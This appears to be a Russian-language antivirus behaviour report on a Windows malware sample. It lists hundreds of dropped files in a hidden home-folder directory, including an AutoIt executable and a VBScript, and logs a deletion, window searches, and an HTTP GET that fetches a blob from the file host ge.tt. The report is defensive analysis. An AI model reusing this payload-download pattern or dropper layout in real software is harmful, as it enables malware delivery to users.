%HOMEPATH%\ZBGWE\M33745.HNJ
%HOMEPATH%\ZBGWE\21951.NYC
%HOMEPATH%\ZBGWE\Q3615.OSD
%HOMEPATH%\ZBGWE\I14556.CDU
%HOMEPATH%\ZBGWE\19576.CHI
%HOMEPATH%\ZBGWE\N48971.ZME
%HOMEPATH%\ZBGWE\6235.OCS
%HOMEPATH%\ZBGWE\97913.IBH
%HOMEPATH%\ZBGWE\P6070.ZPG
%HOMEPATH%\ZBGWE\58127.LOG
%HOMEPATH%\ZBGWE\U40050.NED
%HOMEPATH%\ZBGWE\14048.BQH
%HOMEPATH%\ZBGWE\6871.CBM
%HOMEPATH%\ZBGWE\H63022.ZFY
%HOMEPATH%\ZBGWE\3686.DOG
%HOMEPATH%\ZBGWE\42519.JZV
%HOMEPATH%\ZBGWE\N80361.UEL
%HOMEPATH%\ZBGWE\E67987.RWS
%HOMEPATH%\ZBGWE\A96428.XSL
%HOMEPATH%\ZBGWE\J37453.KJD
%HOMEPATH%\ZBGWE\Z55943.RZG
%HOMEPATH%\ZBGWE\G7271.YGX
%HOMEPATH%\ZBGWE\U82147.WOV
%HOMEPATH%\ZBGWE\N41941.JPL
%HOMEPATH%\ZBGWE\20996.WXK
%HOMEPATH%\ZBGWE\F56397.UIK
%HOMEPATH%\ZBGWE\X59097.DFR
%HOMEPATH%\ZBGWE\G72520.FBR
%HOMEPATH%\ZBGWE\38236.YXC
%HOMEPATH%\ZBGWE\P12720.KTD
%HOMEPATH%\ZBGWE\32654.OSV
%HOMEPATH%\ZBGWE\E23672.QEW
%HOMEPATH%\ZBGWE\E30401.EQW
%HOMEPATH%\ZBGWE\A54536.ZZN
%HOMEPATH%\ZBGWE\30992.ARS
%HOMEPATH%\ZBGWE\52801.TKK
%HOMEPATH%\ZBGWE\5908.BVH
%HOMEPATH%\ZBGWE\18255.UII
%HOMEPATH%\ZBGWE\10106.FEK
%HOMEPATH%\ZBGWE\R31725.XTR
%HOMEPATH%\ZBGWE\J7066.FRK
%HOMEPATH%\ZBGWE\14759.TQJ
%HOMEPATH%\ZBGWE\J62283.WQC
%HOMEPATH%\ZBGWE\K56881.KZV
%HOMEPATH%\ZBGWE\43375.WZZ
%HOMEPATH%\ZBGWE\J8039.DIM
%HOMEPATH%\ZBGWE\B86297.ROU
%HOMEPATH%\ZBGWE\70626.YQA
%HOMEPATH%\ZBGWE\24041.GIK
%HOMEPATH%\ZBGWE\67898.KMT
%HOMEPATH%\ZBGWE\T38451.POF
%HOMEPATH%\ZBGWE\83671.XCS
%HOMEPATH%\ZBGWE\T77769.TFJ
%HOMEPATH%\ZBGWE\N58372.HSX
%HOMEPATH%\ZBGWE\6133.NDQ
%HOMEPATH%\ZBGWE\8515.FDL
%HOMEPATH%\ZBGWE\T27635.DIM
%HOMEPATH%\ZBGWE\W88556.UOR
%HOMEPATH%\ZBGWE\V16159.EAM
%HOMEPATH%\ZBGWE\V13225.SWK
%HOMEPATH%\ZBGWE\85316.EJP
%HOMEPATH%\ZBGWE\56880.MEI
%HOMEPATH%\ZBGWE\47019.ZIQ
%HOMEPATH%\ZBGWE\V60130.JVO
%HOMEPATH%\ZBGWE\C30604.NWD
%HOMEPATH%\ZBGWE\V75660.EDM
%HOMEPATH%\ZBGWE\X75344.AEN
%HOMEPATH%\ZBGWE\64025.GVK
%HOMEPATH%\ZBGWE\Q13768.UZU
%HOMEPATH%\ZBGWE\89404.OHS
%HOMEPATH%\ZBGWE\E83299.TAJ
%HOMEPATH%\ZBGWE\67456.QXR
%HOMEPATH%\ZBGWE\45196.AQY
%HOMEPATH%\ZBGWE\20704.LKX
%HOMEPATH%\ZBGWE\M30751.ZAN
%HOMEPATH%\ZBGWE\37665.RZH
%HOMEPATH%\ZBGWE\55544.BJU
%HOMEPATH%\ZBGWE\W20636.BWG
%HOMEPATH%\ZBGWE\74651.BHZ
%HOMEPATH%\ZBGWE\16870.VMV
%HOMEPATH%\ZBGWE\80383.LJD
%HOMEPATH%\ZBGWE\80772.NOM
%HOMEPATH%\ZBGWE\S85987.SHA
%HOMEPATH%\ZBGWE\F32312.HFB
%HOMEPATH%\ZBGWE\62079.FCE
%HOMEPATH%\ZBGWE\12608.OFI
%HOMEPATH%\ZBGWE\B47237.XQH
%HOMEPATH%\ZBGWE\50661.HXV
%HOMEPATH%\ZBGWE\33958.BFJ
%HOMEPATH%\ZBGWE\K65212.AFK
%HOMEPATH%\ZBGWE\24602.UPK
%HOMEPATH%\ZBGWE\V87412.MBL
%HOMEPATH%\ZBGWE\21727.XXD
%HOMEPATH%\ZBGWE\57767.MSV
%HOMEPATH%\ZBGWE\H9600.WIG
%HOMEPATH%\ZBGWE\49630.WAK
%HOMEPATH%\ZBGWE\90931.ZUF
%HOMEPATH%\ZBGWE\2716.OLI
%HOMEPATH%\ZBGWE\V43162.KHJ
%HOMEPATH%\ZBGWE\30896.FBU
%HOMEPATH%\ZBGWE\6530.ZEC
%HOMEPATH%\ZBGWE\94044.ZTH
%HOMEPATH%\ZBGWE\20448.DUZ
%HOMEPATH%\ZBGWE\59975.GIN
%HOMEPATH%\ZBGWE\5525.YPN
%HOMEPATH%\ZBGWE\18811.GPR
%HOMEPATH%\ZBGWE\59558.NBU
%HOMEPATH%\ZBGWE\H38252.BOF
%HOMEPATH%\ZBGWE\G52156.OCO
%HOMEPATH%\ZBGWE\D21318.GIS
%HOMEPATH%\ZBGWE\45482.YYQ
%HOMEPATH%\ZBGWE\31685.CHR
%HOMEPATH%\ZBGWE\U39811.PAL
%HOMEPATH%\ZBGWE\Z68605.ZHC
%HOMEPATH%\ZBGWE\91084.JWF
%HOMEPATH%\ZBGWE\I27448.QQD
%HOMEPATH%\ZBGWE\7053.DAQ
%HOMEPATH%\ZBGWE\84821.JDE
%HOMEPATH%\ZBGWE\12854.OGQ
%HOMEPATH%\ZBGWE\O73179.WBZ
%HOMEPATH%\ZBGWE\P4655.STC
%HOMEPATH%\ZBGWE\P87432.XGU
%HOMEPATH%\ZBGWE\13238.QUF
%HOMEPATH%\ZBGWE\2868.MFN
%HOMEPATH%\ZBGWE\3292.YLM
%HOMEPATH%\ZBGWE\31392.WHK
%HOMEPATH%\ZBGWE\37724.DLQ
%HOMEPATH%\ZBGWE\O53963.CGH
%HOMEPATH%\ZBGWE\64205.MRB
%HOMEPATH%\ZBGWE\26336.JDK
%HOMEPATH%\ZBGWE\D19796.IVO
%HOMEPATH%\ZBGWE\4534.XVM
%HOMEPATH%\ZBGWE\2584.UWN
%HOMEPATH%\ZBGWE\65941.OVB
%HOMEPATH%\ZBGWE\96780.EKF
%HOMEPATH%\ZBGWE\54423.QUF
%HOMEPATH%\ZBGWE\S26987.HYO
%HOMEPATH%\ZBGWE\73265.PHA
%HOMEPATH%\ZBGWE\E95542.LOW
%HOMEPATH%\ZBGWE\N90687.CFN
%HOMEPATH%\ZBGWE\69469.ZUF
%HOMEPATH%\ZBGWE\S19154.PEG
%HOMEPATH%\ZBGWE\P26165.BSY
%HOMEPATH%\ZBGWE\Y7981.DDM
%HOMEPATH%\ZBGWE\84796.KUP
%HOMEPATH%\ZBGWE\25183.KAM
%HOMEPATH%\ZBGWE\K42028.XMT
%HOMEPATH%\ZBGWE\P91481.AES
%HOMEPATH%\ZBGWE\35698.LVC
%HOMEPATH%\ZBGWE\79875.VGR
%HOMEPATH%\ZBGWE\26195.GKG
%HOMEPATH%\ZBGWE\76336.MQG
%HOMEPATH%\ZBGWE\B27376.GTR
%HOMEPATH%\ZBGWE\73793.TCG
%HOMEPATH%\ZBGWE\34495.LQU
%HOMEPATH%\ZBGWE\74291.VGC
%HOMEPATH%\ZBGWE\30751.XIJ
%HOMEPATH%\ZBGWE\J28882.IDT
%HOMEPATH%\ZBGWE\C28055.SLT
%HOMEPATH%\ZBGWE\B72444.QUO
%HOMEPATH%\ZBGWE\A67065.QMI
%HOMEPATH%\ZBGWE\32552.LFX
%HOMEPATH%\ZBGWE\R23473.TEA
%HOMEPATH%\ZBGWE\6329.ZRR
%HOMEPATH%\ZBGWE\C47876.PGH
%HOMEPATH%\ZBGWE\33499.NNB
%HOMEPATH%\ZBGWE\83696.WZY
%HOMEPATH%\ZBGWE\P12118.DTY
%HOMEPATH%\ZBGWE\G28364.IEP
%HOMEPATH%\ZBGWE\82697.ZJZ
%HOMEPATH%\ZBGWE\G67173.FEG
%HOMEPATH%\ZBGWE\J26565.WQJ
%HOMEPATH%\ZBGWE\U3499.TYA
%HOMEPATH%\ZBGWE\R11032.ZRM
%HOMEPATH%\ZBGWE\37654.YSI
%HOMEPATH%\ZBGWE\6223.KKU
%HOMEPATH%\ZBGWE\13328.TGD
%HOMEPATH%\ZBGWE\F71211.WLW
%HOMEPATH%\ZBGWE\E10699.DMW
%HOMEPATH%\ZBGWE\L19021.UEF
%HOMEPATH%\ZBGWE\4690.YAF
%HOMEPATH%\ZBGWE\34170.WCA
%HOMEPATH%\ZBGWE\99857.PGF
%HOMEPATH%\ZBGWE\37742.PUN
%HOMEPATH%\ZBGWE\S17103.ZFW
%HOMEPATH%\ZBGWE\E73369.YBL
%HOMEPATH%\ZBGWE\H96079.KHI
%HOMEPATH%\ZBGWE\5706.NDG
%HOMEPATH%\ZBGWE\H23131.XZP
%HOMEPATH%\ZBGWE\K77728.BSB
%HOMEPATH%\ZBGWE\A57737.TSS
%HOMEPATH%\ZBGWE\K34030.WFL
%HOMEPATH%\ZBGWE\Y92379.UAH
%HOMEPATH%\ZBGWE\S98175.ZKY
%HOMEPATH%\ZBGWE\29328.GAR
%HOMEPATH%\ZBGWE\28768.VMF
%HOMEPATH%\ZBGWE\15286.JNL
%HOMEPATH%\ZBGWE\60637.BZS
%HOMEPATH%\ZBGWE\22363.XVM
%HOMEPATH%\ZBGWE\80861.AAG
%HOMEPATH%\ZBGWE\62358.VDO
%HOMEPATH%\ZBGWE\V42344.UQZ
%HOMEPATH%\ZBGWE\69279.GPE
%HOMEPATH%\ZBGWE\N87387.JEJ
%HOMEPATH%\ZBGWE\50961.RSU
%HOMEPATH%\ZBGWE\90982.DSQ
%HOMEPATH%\ZBGWE\G25324.MCM
%HOMEPATH%\ZBGWE\U26634.EVB
%HOMEPATH%\ZBGWE\30421.PQV
%HOMEPATH%\ZBGWE\90279.TFJ
%HOMEPATH%\ZBGWE\20828.TPU
%HOMEPATH%\ZBGWE\32174.UEC
%HOMEPATH%\ZBGWE\60253.BXE
%HOMEPATH%\ZBGWE\N31042.CYP
%HOMEPATH%\ZBGWE\Y18582.YBK
%HOMEPATH%\ZBGWE\31655.LOR
%HOMEPATH%\ZBGWE\H20857.MFZ
%HOMEPATH%\ZBGWE\S78544.WIP
%HOMEPATH%\ZBGWE\8527.TAA
%HOMEPATH%\ZBGWE\21107.YUT
%HOMEPATH%\ZBGWE\57979.OXT
%HOMEPATH%\ZBGWE\16825.NLJ
%HOMEPATH%\ZBGWE\42693.OSE
%HOMEPATH%\ZBGWE\J96717.IHM
%HOMEPATH%\ZBGWE\Z28761.JWS
%HOMEPATH%\ZBGWE\W29344.HTR
%HOMEPATH%\ZBGWE\U30174.TLA
%HOMEPATH%\ZBGWE\75510.LHH
%HOMEPATH%\ZBGWE\I74802.VRY
%HOMEPATH%\ZBGWE\84931.WME
%HOMEPATH%\ZBGWE\11208.OEN
%HOMEPATH%\ZBGWE\53580.FVU
%HOMEPATH%\ZBGWE\9219.MGY
%HOMEPATH%\ZBGWE\Y58685.OPV
%HOMEPATH%\ZBGWE\O78105.JVD
%HOMEPATH%\ZBGWE\J41128.SZN
%HOMEPATH%\ZBGWE\27094.OLO
%HOMEPATH%\ZBGWE\O36360.KCN
%HOMEPATH%\ZBGWE\98188.FBZ
%HOMEPATH%\ZBGWE\V13134.MLC
%HOMEPATH%\ZBGWE\79543.VIV
%HOMEPATH%\ZBGWE\E5148.AAQ
%HOMEPATH%\ZBGWE\G33653.BQB
%HOMEPATH%\ZBGWE\74109.LSQ
%HOMEPATH%\ZBGWE\29050.FSV
%HOMEPATH%\ZBGWE\U80856.QGC
%HOMEPATH%\ZBGWE\78729.GNF
%HOMEPATH%\ZBGWE\E72962.FGK
%HOMEPATH%\ZBGWE\I7551.WEG
%HOMEPATH%\ZBGWE\H71592.QOA
%HOMEPATH%\ZBGWE\32345.MOG
%HOMEPATH%\ZBGWE\24251.KYR
%HOMEPATH%\ZBGWE\D41395.SLX
%HOMEPATH%\ZBGWE\K42276.JSU
%HOMEPATH%\ZBGWE\7643.GJE
%HOMEPATH%\ZBGWE\23621.WAY
%HOMEPATH%\ZBGWE\L78276.CUO
%HOMEPATH%\ZBGWE\Z45670.QRV
%HOMEPATH%\ZBGWE\R73482.BMP
%HOMEPATH%\ZBGWE\U14274.RFW
%HOMEPATH%\ZBGWE\R96154.QAS
%HOMEPATH%\ZBGWE\R50430.WWW
%HOMEPATH%\ZBGWE\82772.CWC
%HOMEPATH%\ZBGWE\N96645.ZCT
%HOMEPATH%\ZBGWE\50200.UFA
%HOMEPATH%\ZBGWE\59889.SCJ
%HOMEPATH%\ZBGWE\58306.CHG
%HOMEPATH%\ZBGWE\36879.ZKN
%HOMEPATH%\ZBGWE\66763.ABB
%HOMEPATH%\ZBGWE\V89574.VIL
%HOMEPATH%\ZBGWE\Z69801.KBC
%HOMEPATH%\ZBGWE\33061.GTE
%HOMEPATH%\ZBGWE\M98358.ETR
%HOMEPATH%\ZBGWE\27377.BCC
%HOMEPATH%\ZBGWE\P93525.EHB
%HOMEPATH%\ZBGWE\62905.IJU
%HOMEPATH%\ZBGWE\69279.UPC
%HOMEPATH%\ZBGWE\2342.QIX
%HOMEPATH%\ZBGWE\6421.IVH
%HOMEPATH%\ZBGWE\89751.ABT
%HOMEPATH%\ZBGWE\Y9579.ADR
%HOMEPATH%\ZBGWE\84917.HOO
%HOMEPATH%\ZBGWE\Y56905.ETQ
%HOMEPATH%\ZBGWE\43810.HBF
%HOMEPATH%\ZBGWE\V59363.VCE
%HOMEPATH%\ZBGWE\22063.ANZ
%HOMEPATH%\ZBGWE\20190.WHO
%HOMEPATH%\ZBGWE\38448.BHA
%HOMEPATH%\ZBGWE\34603.WIG
%HOMEPATH%\ZBGWE\27673.TGK
%HOMEPATH%\ZBGWE\76231.PYR
%HOMEPATH%\ZBGWE\72162.ROP
%HOMEPATH%\ZBGWE\A33371.SKA
%HOMEPATH%\ZBGWE\Q68848.ABO
%HOMEPATH%\ZBGWE\81928.EDX
%HOMEPATH%\ZBGWE\U4394.GIF
%HOMEPATH%\ZBGWE\H54753.XLQ
%HOMEPATH%\ZBGWE\28134.FPW
%HOMEPATH%\ZBGWE\17135.SLI
%HOMEPATH%\ZBGWE\34787.HOD
%HOMEPATH%\ZBGWE\V39049.YZM
%HOMEPATH%\ZBGWE\40272.XHH
%HOMEPATH%\ZBGWE\70146.YLX
%HOMEPATH%\ZBGWE\Y95844.MBN
%HOMEPATH%\ZBGWE\C99119.PFU
%HOMEPATH%\ZBGWE\M79614.UBW
%HOMEPATH%\ZBGWE\S81020.HJX
%HOMEPATH%\ZBGWE\21885.PVX
%HOMEPATH%\ZBGWE\46039.EXH
%HOMEPATH%\ZBGWE\D26813.GQW
%HOMEPATH%\ZBGWE\C49464.PYH
%HOMEPATH%\ZBGWE\W70881.KQY
%HOMEPATH%\ZBGWE\96797.LMH
%HOMEPATH%\ZBGWE\W36554.EEL
%HOMEPATH%\ZBGWE\16660.ELZ
%HOMEPATH%\ZBGWE\63751.DHB
%HOMEPATH%\ZBGWE\O85839.NOU
%HOMEPATH%\ZBGWE\F16508.VFS
%HOMEPATH%\ZBGWE\73368.WUL
%HOMEPATH%\ZBGWE\48922.IAE
%HOMEPATH%\ZBGWE\97498.UMF
%HOMEPATH%\ZBGWE\70497.XPJ
%HOMEPATH%\ZBGWE\W69722.FLN
%HOMEPATH%\ZBGWE\41566.VXZ
%HOMEPATH%\ZBGWE\O71066.VIQ
%HOMEPATH%\ZBGWE\53276.OUQ
%HOMEPATH%\ZBGWE\8712.LBF
%HOMEPATH%\ZBGWE\R43340.JRW
%HOMEPATH%\ZBGWE\N62895.NGY
%HOMEPATH%\ZBGWE\V23188.OLR
%HOMEPATH%\ZBGWE\T47201.CCH
%HOMEPATH%\ZBGWE\I89529.HCB
%HOMEPATH%\ZBGWE\56924.GHW
%HOMEPATH%\ZBGWE\93199.JSN
%HOMEPATH%\ZBGWE\R74134.YQX
%HOMEPATH%\ZBGWE\69117.VDD
%HOMEPATH%\ZBGWE\49034.QPZ
%HOMEPATH%\ZBGWE\62277.QZW
%HOMEPATH%\ZBGWE\C97972.OKC
%HOMEPATH%\ZBGWE\19089.VBR
%HOMEPATH%\ZBGWE\H31875.BJD
%HOMEPATH%\ZBGWE\L90936.AHZ
%HOMEPATH%\ZBGWE\44569.WAR
%HOMEPATH%\ZBGWE\N4206.JTW
%HOMEPATH%\ZBGWE\D28273.FMC
%HOMEPATH%\ZBGWE\Q97904.DWH
%HOMEPATH%\ZBGWE\D61670.FFE
%HOMEPATH%\ZBGWE\81752.MLY
%HOMEPATH%\ZBGWE\C12113.MSR
%HOMEPATH%\ZBGWE\77137.LDR
%HOMEPATH%\ZBGWE\E1101.KYT
%HOMEPATH%\ZBGWE\B68921.PYW
%HOMEPATH%\ZBGWE\26149.RVO
%HOMEPATH%\ZBGWE\50070.QTC
%HOMEPATH%\ZBGWE\E79911.ZKW
%HOMEPATH%\ZBGWE\31004.ZEL
%HOMEPATH%\ZBGWE\L69499.BTI
%HOMEPATH%\ZBGWE\85995.NFM
%HOMEPATH%\ZBGWE\66715.UBU
%HOMEPATH%\ZBGWE\H37630.DON
%HOMEPATH%\ZBGWE\59841.VXT
%HOMEPATH%\ZBGWE\C92559.WTC
%HOMEPATH%\ZBGWE\P6276.QFA
%HOMEPATH%\ZBGWE\J33125.HSD
%HOMEPATH%\ZBGWE\H66594.EQM
%HOMEPATH%\ZBGWE\D73663.IWL
%HOMEPATH%\ZBGWE\M69706.RMN
%HOMEPATH%\ZBGWE\C2508.LTW
%HOMEPATH%\ZBGWE\98829.AEG
%HOMEPATH%\ZBGWE\53806.DIH
%HOMEPATH%\ZBGWE\M19897.IVR
%HOMEPATH%\ZBGWE\B7717.OHM
%HOMEPATH%\ZBGWE\A64618.JHE
%HOMEPATH%\ZBGWE\Z20089.NFP
%HOMEPATH%\ZBGWE\53422.LCJ
%HOMEPATH%\ZBGWE\48722.UIW
%HOMEPATH%\ZBGWE\run.vbs
%HOMEPATH%\ZBGWE\48536.NQK
%HOMEPATH%\ZBGWE\J1923.GBU
%HOMEPATH%\ZBGWE\settings.ini
%HOMEPATH%\ZBGWE\124255.dat
%HOMEPATH%\ZBGWE\45461.dat
%HOMEPATH%\ZBGWE\Autoit3712750.exe
%HOMEPATH%\ZBGWE\617712.dat
%HOMEPATH%\ZBGWE\40640.TIL
%HOMEPATH%\ZBGWE\H52367.VXZ
%HOMEPATH%\ZBGWE\70970.JNX
%HOMEPATH%\ZBGWE\Z14058.RCW
%HOMEPATH%\ZBGWE\76197.MGW
%HOMEPATH%\ZBGWE\10229.MYR
%HOMEPATH%\ZBGWE\8986.ZIM
%HOMEPATH%\ZBGWE\I71555.KOU
%HOMEPATH%\ZBGWE\83206.FDZ
%HOMEPATH%\ZBGWE\D92456.CUZ
%HOMEPATH%\ZBGWE\X56023.KBU
%HOMEPATH%\ZBGWE\97259.YGI
%HOMEPATH%\ZBGWE\F54737.MSL
%HOMEPATH%\ZBGWE\D11294.ONY
%HOMEPATH%\ZBGWE\99574.FSW
%HOMEPATH%\ZBGWE\T20436.IQS
%HOMEPATH%\ZBGWE\M60180.OTT
%HOMEPATH%\ZBGWE\56637.TDE
%HOMEPATH%\ZBGWE\V22736.SDE
%HOMEPATH%\ZBGWE\40733.RUF
%HOMEPATH%\ZBGWE\91718.INA
%HOMEPATH%\ZBGWE\K31140.HRY
%HOMEPATH%\ZBGWE\N75047.JXA
%HOMEPATH%\ZBGWE\64116.JUR
%HOMEPATH%\ZBGWE\P98827.CUT
%HOMEPATH%\ZBGWE\E38997.OFQ
%HOMEPATH%\ZBGWE\D61499.VAV
%HOMEPATH%\ZBGWE\D64307.TGZ
%HOMEPATH%\ZBGWE\59682.TKJ
%HOMEPATH%\ZBGWE\J14576.PSP
%HOMEPATH%\ZBGWE\L3213.TUM
%HOMEPATH%\ZBGWE\72977.UME
%HOMEPATH%\ZBGWE\40589.EMM
%HOMEPATH%\ZBGWE\85063.RIC
%HOMEPATH%\ZBGWE\E81893.QFK
%HOMEPATH%\ZBGWE\75311.TLH
%HOMEPATH%\ZBGWE\W61604.HYQ
%HOMEPATH%\ZBGWE\98987.EEV
%HOMEPATH%\ZBGWE\54973.NWE
%HOMEPATH%\ZBGWE\79469.HRO
%HOMEPATH%\ZBGWE\P26099.IWQ
%HOMEPATH%\ZBGWE\D94702.RFL
%HOMEPATH%\ZBGWE\E73279.UQP
%HOMEPATH%\ZBGWE\93037.MFA
%HOMEPATH%\ZBGWE\40309.WVE
%HOMEPATH%\ZBGWE\59147.UTS
%HOMEPATH%\ZBGWE\H50699.HIC
%HOMEPATH%\ZBGWE\G84054.RPX
%HOMEPATH%\ZBGWE\61386.EQG
%HOMEPATH%\ZBGWE\91257.HGW
%HOMEPATH%\ZBGWE\76817.ZQQ
%HOMEPATH%\ZBGWE\C37231.EVP
%HOMEPATH%\ZBGWE\8362.IJX
%HOMEPATH%\ZBGWE\57003.GHM
%HOMEPATH%\ZBGWE\41907.HDB
%HOMEPATH%\ZBGWE\G69756.LJA
%HOMEPATH%\ZBGWE\12907.VKG
%HOMEPATH%\ZBGWE\F39028.LLA
%HOMEPATH%\ZBGWE\88693.ESB
%HOMEPATH%\ZBGWE\63737.TFM
%HOMEPATH%\ZBGWE\27692.AQG
%HOMEPATH%\ZBGWE\V83086.VYG
%HOMEPATH%\ZBGWE\Y48413.VFV
%HOMEPATH%\ZBGWE\A4185.LXP
%HOMEPATH%\ZBGWE\S48832.VHU
%HOMEPATH%\ZBGWE\29822.BBQ
%HOMEPATH%\ZBGWE\I79282.LLY
%HOMEPATH%\ZBGWE\12380.RKU
%HOMEPATH%\ZBGWE\83878.TJL
%HOMEPATH%\ZBGWE\49567.RJH
%HOMEPATH%\ZBGWE\2402.KJE
%HOMEPATH%\ZBGWE\J35376.ZJO
%HOMEPATH%\ZBGWE\83686.AUR
%HOMEPATH%\ZBGWE\P41409.LMT
%HOMEPATH%\ZBGWE\Q32129.EYM
%HOMEPATH%\ZBGWE\P23395.FLL
%HOMEPATH%\ZBGWE\76447.KTC
%HOMEPATH%\ZBGWE\94251.YFU
%HOMEPATH%\ZBGWE\12801.VKF
%HOMEPATH%\ZBGWE\C97529.ETA
%HOMEPATH%\ZBGWE\H42493.CGD
%HOMEPATH%\ZBGWE\O26280.FAP
%HOMEPATH%\ZBGWE\34076.KJE
%HOMEPATH%\ZBGWE\A54183.HNE
%HOMEPATH%\ZBGWE\Y47774.AUW
%HOMEPATH%\ZBGWE\80658.YJS
%HOMEPATH%\ZBGWE\8986.NWY
%HOMEPATH%\ZBGWE\C71599.HYY
%HOMEPATH%\ZBGWE\R49974.TYC
%HOMEPATH%\ZBGWE\46862.DBM
%HOMEPATH%\ZBGWE\93096.URQ
%HOMEPATH%\ZBGWE\77224.VAJ
%HOMEPATH%\ZBGWE\W22759.NUQ
%HOMEPATH%\ZBGWE\20417.WVF
%HOMEPATH%\ZBGWE\C47508.PKW
%HOMEPATH%\ZBGWE\80139.KFG
%HOMEPATH%\ZBGWE\51558.IYO
%HOMEPATH%\ZBGWE\7769.CSS
%HOMEPATH%\ZBGWE\H15407.YAD
%HOMEPATH%\ZBGWE\U47891.HHO
%HOMEPATH%\ZBGWE\X79922.JTA
%HOMEPATH%\ZBGWE\N64349.JWA
%HOMEPATH%\ZBGWE\N2364.VJQ
%HOMEPATH%\ZBGWE\E92676.MSD
%HOMEPATH%\ZBGWE\W45325.FPQ
%HOMEPATH%\ZBGWE\V8605.LGD
%HOMEPATH%\ZBGWE\V29108.NYV
%HOMEPATH%\ZBGWE\85067.XQU
%HOMEPATH%\ZBGWE\S70492.BSF
%HOMEPATH%\ZBGWE\B11960.GBU
%HOMEPATH%\ZBGWE\R58455.YGE
%HOMEPATH%\ZBGWE\Z44002.TMS
%HOMEPATH%\ZBGWE\T28000.IEU
%HOMEPATH%\ZBGWE\C67439.SXE
%HOMEPATH%\ZBGWE\Y74136.LMF
%HOMEPATH%\ZBGWE\43541.ASC
%HOMEPATH%\ZBGWE\67142.CJV
%HOMEPATH%\ZBGWE\12457.AOY
%HOMEPATH%\ZBGWE\B95850.OBQ
%HOMEPATH%\ZBGWE\W92889.TUU
%HOMEPATH%\ZBGWE\58700.OSH
%HOMEPATH%\ZBGWE\6644.OTQ
%HOMEPATH%\ZBGWE\17723.EQN
%HOMEPATH%\ZBGWE\Y2911.SZB
%HOMEPATH%\ZBGWE\T13264.OEH
%HOMEPATH%\ZBGWE\51625.FXX
%HOMEPATH%\ZBGWE\R11787.VWB
%HOMEPATH%\ZBGWE\E76714.HMD
%HOMEPATH%\ZBGWE\I11901.KTI
%HOMEPATH%\ZBGWE\24699.CON
%HOMEPATH%\ZBGWE\93348.BCE
%HOMEPATH%\ZBGWE\N19304.PAG
%HOMEPATH%\ZBGWE\R83924.YOQ
%HOMEPATH%\ZBGWE\78484.YGM
%HOMEPATH%\ZBGWE\B14102.WRT
%HOMEPATH%\ZBGWE\E99469.KNS
%HOMEPATH%\ZBGWE\B93956.ZUZ
%HOMEPATH%\ZBGWE\K67959.UDG
%HOMEPATH%\ZBGWE\D81072.PZW
%HOMEPATH%\ZBGWE\37422.KFK
%HOMEPATH%\ZBGWE\G85188.FOE
%HOMEPATH%\ZBGWE\D46457.ZQB
%HOMEPATH%\ZBGWE\84933.BDY
%HOMEPATH%\ZBGWE\V44183.DMP
%HOMEPATH%\ZBGWE\17888.JMK
%HOMEPATH%\ZBGWE\S24545.RTM
%HOMEPATH%\ZBGWE\13177.KJQ
%HOMEPATH%\ZBGWE\5991.CRR
%HOMEPATH%\ZBGWE\L10811.VOY
%HOMEPATH%\ZBGWE\F23179.MFN
%HOMEPATH%\ZBGWE\64436.OWX
%HOMEPATH%\ZBGWE\W53323.TVH
%HOMEPATH%\ZBGWE\48142.GBQ
%HOMEPATH%\ZBGWE\43329.BKH
%HOMEPATH%\ZBGWE\E32317.YRD
%HOMEPATH%\ZBGWE\56077.ZSH
%HOMEPATH%\ZBGWE\E91590.LJD
%HOMEPATH%\ZBGWE\80964.AEQ
%HOMEPATH%\ZBGWE\19874.KCA
%HOMEPATH%\ZBGWE\6505.VFL
%HOMEPATH%\ZBGWE\1345.CPC
%HOMEPATH%\ZBGWE\F18646.JDG
%HOMEPATH%\ZBGWE\I25827.FYX
%HOMEPATH%\ZBGWE\W58340.EQP
%HOMEPATH%\ZBGWE\C2779.FBE
%HOMEPATH%\ZBGWE\W59556.EFF
%HOMEPATH%\ZBGWE\2219.GPE
%HOMEPATH%\ZBGWE\74827.SSO
%HOMEPATH%\ZBGWE\90356.PRL
%HOMEPATH%\ZBGWE\36413.MEQ
%HOMEPATH%\ZBGWE\Y37517.HTM
%HOMEPATH%\ZBGWE\65122.SHT
%HOMEPATH%\ZBGWE\49176.LDX
%HOMEPATH%\ZBGWE\U97018.AQK
%HOMEPATH%\ZBGWE\29790.OLZ
%HOMEPATH%\ZBGWE\72509.LFV
%HOMEPATH%\ZBGWE\R92209.RVV
%HOMEPATH%\ZBGWE\M90255.AGQ
%HOMEPATH%\ZBGWE\17718.ZYY
%HOMEPATH%\ZBGWE\T7563.YSR
%HOMEPATH%\ZBGWE\G58164.PJU
%HOMEPATH%\ZBGWE\P67648.PHU
%HOMEPATH%\ZBGWE\R17064.QVB
%HOMEPATH%\ZBGWE\E7634.AKV
%HOMEPATH%\ZBGWE\S31143.DFT
%HOMEPATH%\ZBGWE\17309.KAM
%HOMEPATH%\ZBGWE\T4816.CPD
%HOMEPATH%\ZBGWE\J27766.OAL
%HOMEPATH%\ZBGWE\53054.RED
%HOMEPATH%\ZBGWE\S74524.EJR

Удаляет следующие файлы:

%HOMEPATH%\ZBGWE\YYNKVPUM.dat

Сетевая активность:

Подключается к:

'ge.tt':80

TCP:

Запросы HTTP GET:

ge.tt/api/1/files/2IDGmzk/0/blob?do######

UDP:

DNS ASK ge.tt

Другое:

Ищет следующие окна:

ClassName: 'Shell_TrayWnd' WindowName: '(null)'
ClassName: 'EDIT' WindowName: '(null)'

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней